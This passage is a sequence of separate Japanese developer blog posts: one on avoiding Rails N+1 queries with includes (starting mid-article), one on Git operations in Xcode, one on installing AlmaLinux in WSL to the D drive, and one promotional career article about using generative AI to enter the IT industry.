SELECT * FROM users WHERE id = 3;`  # Post ID 3 のユーザー
〜
```
もし記事が100件あれば、最初の1クエリに加えて、ユーザ情報を取得するために100回のクエリが発行され、**合計101回SQLクエリが実行される**ことになります。

これが、**N+1問題**と呼ばれる理由です。

このように、関連付けされたデータを取得する際に、各レコードに対して個別にSQLが発行されるのは非常に非効率です。**理想は、関連データも最初の1回、あるいは少数のクエリでまとめて取得することです。**

## 対策
N+1問題はRailsなどORM(`Active Record`)を使用しているフレームワークなどで発生しがちですが、対策用のメソッドやGemも存在するため、解説していきます。

### includes
Railsが最適な取得方法(`Eager Loading`)を自動で判断し、クエリの実行内容を最適化してから、クエリを発行します。

### Eager Loading
取得方法には2パターン(`preload`・`eager_load`)あり、自動的に判断して適用してくれます。

**通常は2回のクエリを発行します（`preload`と同じ挙動）**
1. メインのモデルのデータを取得するクエリ
2. 関連するモデルのデータを別途取得するクエリ
ただし、`where句`や`order句`で関連モデルのカラムを参照している場合は、Railsが賢く判断し、`JOIN`を使った1回のクエリを発行します。（`eager_load`と同じ挙動）。

`includes`が`preload`の挙動になる例：
```
# N+1問題の例: 各PostのUser名を表示
# @posts = Post.all
# <% @posts.each do |post| %>
#   <%= post.user.name %>
# <% end %>

# includesを使った解決策
@posts = Post.includes(:user) # :user は Postモデルの belongs_to :user に対応

# 発行されるSQL (多くの場合、以下のような2クエリ)
# SELECT "posts".* FROM "posts"
# SELECT "users".* FROM "users" WHERE "users"."id" IN (1, 2, 3, ...) # 関連するUserのIDをまとめて取得
```

`includes`が`eager_load`の挙動になる例：
```
# Postのタイトルで並び替え、かつUserのメールアドレスで絞り込みたい場合
@posts = Post.includes(:user).where("users.email LIKE ?", "%example.com%").order("posts.title")

# 発行されるSQL (JOINが使われる)
# SELECT "posts"."id" AS t0_r0, "posts"."title" AS t0_r1, "users"."id" AS t1_r0, "users"."name" AS t1_r1
# FROM "posts"
# INNER JOIN "users" ON "users"."id" = "posts"."user_id"
# WHERE (users.email LIKE '%example.com%')
# ORDER BY posts.title ASC
```

## N+1問題検出用のgem
詳細は省略しますが、N+1問題の原因となるようなコードを検出してくれる`bullet`というgemもあるので、簡単に検出することもできます。

[N+1問題を検出する「bullet」](https://www.techscore.com/blog/2012/12/25/rails%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA%E7%B4%B9%E4%BB%8B-n1%E5%95%8F%E9%A1%8C%E3%82%92%E6%A4%9C%E5%87%BA%E3%81%99%E3%82%8B%E3%80%8Cbullet%E3%80%8D/)

## 参考サイト
[Railsガイド:includes](https://railsguides.jp/active_record_querying.html#includes)

[bullet](https://github.com/flyerhzm/bullet)
XcodeからGitの基本的な使い方を説明してみた！(push / pull / commit / stashの基本操作)

Xcodeには、Gitの操作機能が標準で組み込まれており、ターミナルを使わなくてもバージョン管理を直感的に行うことができます！
アプリ開発でgitを使いこなすのは必ず必要なところなのでぜひ参考にしてください！

 Gitってなに？
 ---
Gitは、コードの変更履歴を管理するためのツールです。複数人で開発する場合はもちろん、個人開発でもいつどこを変えたのかを追える便利な仕組みです。

コードをコミット（commit）する
---
手順：
メニューバーの Integrate → Commitを選択

変更ファイルの一覧が表示される

必要なファイルにチェックを入れ、下部にメッセージを入力（例：Fix: レイアウト崩れ修正）

Commitボタンをクリック

ポイント
Commitとは「ローカルのGitに変更を記録する」こと。まだGitHubなどのリモートには反映されません。

リモートに反映（push）
---

手順：
1. コミット後に表示される「Push to remote」をクリック
　または

2. Integrate → Pushを選択

3. プッシュするブランチを選んで「Push」ボタンをクリック


他の人の変更を取り込む（pull）
---

手順：
Integrate → Pullを選択

取り込むブランチ（通常はmainなど）を選んで「Pull」をクリック

ポイント
Pullは、リモートから変更を取得してマージする操作です。


一時的に変更を退避（stash）
---
作業途中だけど、一旦変更を退避したいときに便利なのが stash（スタッシュ）。

スタッシュする方法：
Integrate → Stash Changes」を選択

スタッシュ名（メモ）を入力して「Stash」をクリック

よく使うショートカットまとめ
--
| 操作                           | ショートカット (Macの場合)       |
| ---------------------------- | -------------- |
| Commit                       | ⌘ + Option + C |
| Push                         | ⌘ + Option + P |
| Pull                         | ⌘ + Option + X |

まとめ
--

XcodeにはGitの機能が統合されているため、初心者でも比較的簡単にバージョン管理ができます。ターミナルが苦手な人でも、まずはXcodeのGUIから始めたほうがいいと思います！

- commit：変更をローカルに記録

- push：変更をGitHubなどに送信

-  pull：他の人の変更を取得

- stash：一時的に変更を退避


ぜひ参考にしてみてください！🙌
WSLでAlmaLinux-8をCドライブ以外にインストールする方法

# WSLをDドライブにインストールする方法（毎回忘れるワテクシ向け）

## 🚨 問題
WSLのデフォルトインストール先（Cドライブ）の容量が100FULLに。。。

## ✅ 動作確認済みの方法

### 🔧 コマンドプロンプト版（管理者権限）
```cmd
wsl --install AlmaLinux-8 --location D:\WSL\AlmaLinux-8
```

### 🔧 PowerShell版（管理者権限）
```powershell
# フォルダ作成してからインストール（任意）
New-Item -Path "D:\WSL\AlmaLinux-8" -ItemType Directory -Force

# インストール実行
wsl --install AlmaLinux-8 --location D:\WSL\AlmaLinux-8
```

### 💡 既にインストール済みだが、同じものをインストールしたい場合
```powershell
# エラー: ERROR_ALREADY_EXISTS が出た場合
wsl --unregister AlmaLinux-8  # 既存を削除（データも消えるので注意！）
wsl --install AlmaLinux-8 --location D:\WSL\AlmaLinux-8
```

### 📌 確認コマンド
```powershell
# インストール済みディストリビューション確認
wsl --list --verbose

# 実際の保存場所確認
Get-ChildItem D:\WSL\AlmaLinux-8
```

## ✅ ポイント
管理者権限が必須（通常権限では--locationオプションが効かない）
PowerShell/コマンドプロンプトどちらでもOK
Dドライブに十分な空き容量を確保（最低10GB推奨）
人手不足なのに「即戦力」求むIT業界：AIで未経験からキャリアをこじ開ける！

T業界は常に人手不足と言われる一方で、「未経験だから」という理由でなかなか採用されない現実があります。「教育する余裕がない」「即戦力が欲しい」という企業側の本音も理解できるものの、この負のループを断ち切れないかと悩んでいる方もいるのではないでしょうか。

しかし、AIの急速な進化は、この状況を大きく変える可能性を秘めています。もはや未経験だからと諦める必要はありません。この記事では、生成AIを最大限に活用し、未経験からでもIT業界で「即戦力」として活躍するための具体的な戦略をご紹介します。AIを味方につけて、あなたのIT業界への扉をこじ開ける逆転戦略を、一緒に見ていきましょう。

[>> 【駆け出しエンジニア必見】AIの進化により未経験からのIT転職はスピードが命！](https://taishi-official.com/2024/04/16/2149/)



## なぜ今、「即戦力」が求められるのか？IT業界の現状とAIの影響
IT業界は常に深刻な人手不足が叫ばれています。しかし、一方で「未経験者は採用しづらい」という現実も存在します。この矛盾は、企業が抱える切実な事情に根ざしています。

企業は、エンジニアを「教育する余裕がない」のが現状です。多くのプロジェクトが短期間で成果を求められ、ベテランエンジニアも日々の業務に追われています。このような状況では、**未経験者を一から育てる時間やリソースを確保することが極めて困難**です。

さらに、せっかく時間とコストをかけて教育しても、一人前に成長した優秀なエンジニアは、より良い条件を求めて転職したり、独立したりする可能性も否定できません。**企業にとって、これは教育投資が水の泡になるリスクとなり、即戦力を求める傾向**をさらに強めているのです。

このように、IT業界は常に変化し、プロジェクトのサイクルも加速しています。企業は即座に成果を出せる人材を必要としており、未経験者にはこの「即戦力」というハードルが立ちはだかっているのです。

[>> AIがもたらす「個人で即戦力化」という新常識](https://taishi-official.com/2025/06/14/3474/#toc2)

[>> AIを駆使して「0→1」を生み出せ！ポートフォリオで差をつける実践術](https://taishi-official.com/2025/06/14/3474/#toc3)



## AI時代を生き抜く「スピード」と「学び」の重要性
IT業界は今、AIの登場によってまさに激動の時代を迎えています。「エンジニアはオワコンになる」といった声も聞こえるかもしれません。しかし、この混乱期こそ、**AIを味方につけた未経験者が「下剋上」を果たせる絶好のチャンス**だと断言できます。

なぜなら、AIの進化はまさに日進月歩だからです。昨日できたことが今日にはもっと効率的にできるようになり、新しい技術やツールが次々と登場しています。このような状況でIT業界を生き抜くには、**「スピード」感を持って新しい知識やスキルを習得し続ける**ことが、何よりも重要になります。変化を恐れず、むしろその波に乗ることが、このAI時代に勝ち残る鍵となるのです。

AIを効果的に活用するためには、AIフレンドリーな開発手法をいち早く習得することが不可欠です。例えば、AIを用いた開発プロセスを効率的に回す方法や、AIが生成したコードを適切に修正・活用するスキルなどが挙げられます。

もし、あなたがこのAIフレンドリーな開発を高速かつ体系的に学びたいと考えているのであれば、**「DMM 生成AI CAMP」**のような専門サービスを検討するのも一つの手です。このようなプログラムでは、最新のAI技術と開発手法を効率的に学ぶことができ、未経験からでも即戦力として通用するスキルを短期間で身につけるための強力なサポートが期待できます。

[>> 「DMM 生成AI CAMP」について詳しく解説！](https://taishi-official.com/2025/03/21/3282/)



## まとめ
本記事では、IT業界の人手不足と未経験者が直面する課題を乗り越え、AIを活用して「即戦力」として活躍するための具体的な戦略をご紹介しました。

改めて、今回のポイントを振り返りましょう。IT業界は確かに人手不足ですが、企業には教育コストや人材流出のリスクから、即戦力を求める切実な事情があります。しかし、**生成AIの進化は、この壁を打ち破る大きなチャンス**をもたらしました。AIを駆使すれば、まるでベテランエンジニアの指導を受けているかのように効率的にスキルを習得し、**個人で「即戦力」レベルに到達することが可能**です。

さらに、AIを単なるツールとして使うだけでなく、**「0から1を生み出す」企画力や設計力、マーケティング力など**といった、AIにはまだ難しいとされる根幹スキルを磨くことが重要です。実際にマネタイズ可能なプロダクトをAIと共に開発し、それをポートフォリオとして提示することで、あなたは「ただプログラミングができる人」ではなく、「ビジネスを動かせる即戦力」として、企業に強烈なインパクトを与えることができるでしょう。

**「エンジニアはオワコン」**といった悲観的な声も聞かれますが、これは誤解です。むしろ、AIによって混乱したこの時代こそ、**AIを味方につけた者が下剋上を果たす絶好の機会**なのです。AIの進化は日進月歩。「スピード」感を持って新しい知識・スキルを学び続け、自らをアップデートしていくことが、この激動の時代を生き抜く鍵となります。

### おまけ

https://qiita.com/taishi_will_be/items/70a8ce8938944286b487

https://taishi-official.com/first-engineering-career-change/


<strong>＼Follow me／</strong>

- X（旧Twitter）：https://x.com/taishi_it_blog
- YouTube：https://www.youtube.com/@Engineer_ILLBE

<br>

最後にいいねお願いします:thumbsup: